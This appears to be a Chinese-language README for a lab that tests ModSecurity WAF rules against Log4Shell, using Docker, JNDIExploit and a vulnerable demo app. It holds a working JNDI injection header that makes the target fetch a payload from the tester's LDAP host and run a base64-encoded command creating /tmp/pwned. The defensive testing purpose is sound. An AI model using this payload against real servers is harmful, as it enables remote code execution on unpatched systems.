ModSec-log4j2

测试 ModSec 规则

前提条件

• 已安装 Docker
• 已在本机安装 Java

执行测试

• 克隆仓库
• 执行以下命令启动 WAF（ModSec）和易受攻击的应用

docker stack deploy -c docker-compose.yml WAF

• 解压仓库中的 JNDIExploit.v1.2.zip，进入文件夹并执行以下命令，其中 $IP 应为本机 IP，不建议使用 127.0.0.1

java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888

• 要测试 RCE，请执行下面的 curl 命令，将 $IP 替换为本机 IP，它将在易受攻击应用的 /tmp 目录中创建一个名为 pwned 的文件

curl 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://$IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

大学生的问题

1- 如何知道我的 WAF 和易受攻击的 Web 应用已启动？

执行 docker service ls ，检查是否有两个服务，每个各有一个副本。

2- 如何获取 modsec 日志？

执行 docker exec -ti $(docker container ls | grep "felipe8398/redirector:latest"| awk '{print $1}') cat /var/log/apache2/error.log

3- 如何确认 RCE 没有成功？

我们使用的 curl 会在 tmp 内创建一个名为 pwned 的文件，因此需要执行 docker exec -ti $(docker container ls | grep ghcr.io/christophetd/log4shell-vulnerable-app:latest | awk '{print $1}') ls /tmp